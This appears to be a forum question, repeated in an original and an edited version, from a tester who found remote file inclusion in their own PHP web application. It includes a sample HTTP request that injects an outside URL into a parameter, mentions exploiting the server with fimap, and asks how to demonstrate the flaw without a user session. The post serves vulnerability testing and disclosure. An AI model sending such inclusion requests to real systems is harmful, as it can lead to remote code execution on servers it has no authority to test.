I have been testing my php web application for RFI vulnerabilities,While performing scan i was able perform RFI in my web application.

Scenario  :

In my web application RFI works only when the user's session was present,i need to demonstrate the RFI to developers

Sample demonstration  :

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: xx.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://xx.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

I just placed a vulnerable text and able to retrieve the response over the web application

In response which it got reflected contains the uploaded file output

Problem :

Now through the above problem i was able to prove the rfi was present at webapplication,But the problem is my developers asking for attack scenario which will help them to evaluate my bug

What i tried :

I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver

but the main problem which i faced during test was i cant exploit if the user's session was not present in the application

Is it there any way to demonstrate with the user session was present with a RFI vulnerablity ?

or anyother method to demonstrate RFI in my web application

I have been testing my PHP web application for RFI vulnerabilities. While performing scan I was able perform RFI in my web application.

Scenario:

In my web application RFI works only when the user's session was present. I need to demonstrate the RFI to developers.

Sample demonstration:

GET /cdn-cgi/pe/bag2?r[]=https://portswigger.net/f517a2bc19bdff66d7c64e8a7ad2f043.txt HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
PE-Token: 346645c4fd373fa7f321ec5d3ecf486b4e122cc7-1457413695-1800
Referer: https://example.com/success
Cookie: __cfduid=d3e9d6b0485c45636f90caa652f60437d1456979567;

The response contains the uploaded file output.

Problem :

Now through the above vulnerability I was able to prove the RFI was present in the web application, but the problem is my developers are asking for the attack scenario which will help them to evaluate my bug.

What i tried :

I tried to exploit the web application with fimap through this we were able to demonstrate and exploit the webserver.

However, the main problem I faced during the test was I can't exploit if the user is not authenticated.

How else can I demonstrate the RFI vulnerability in my application?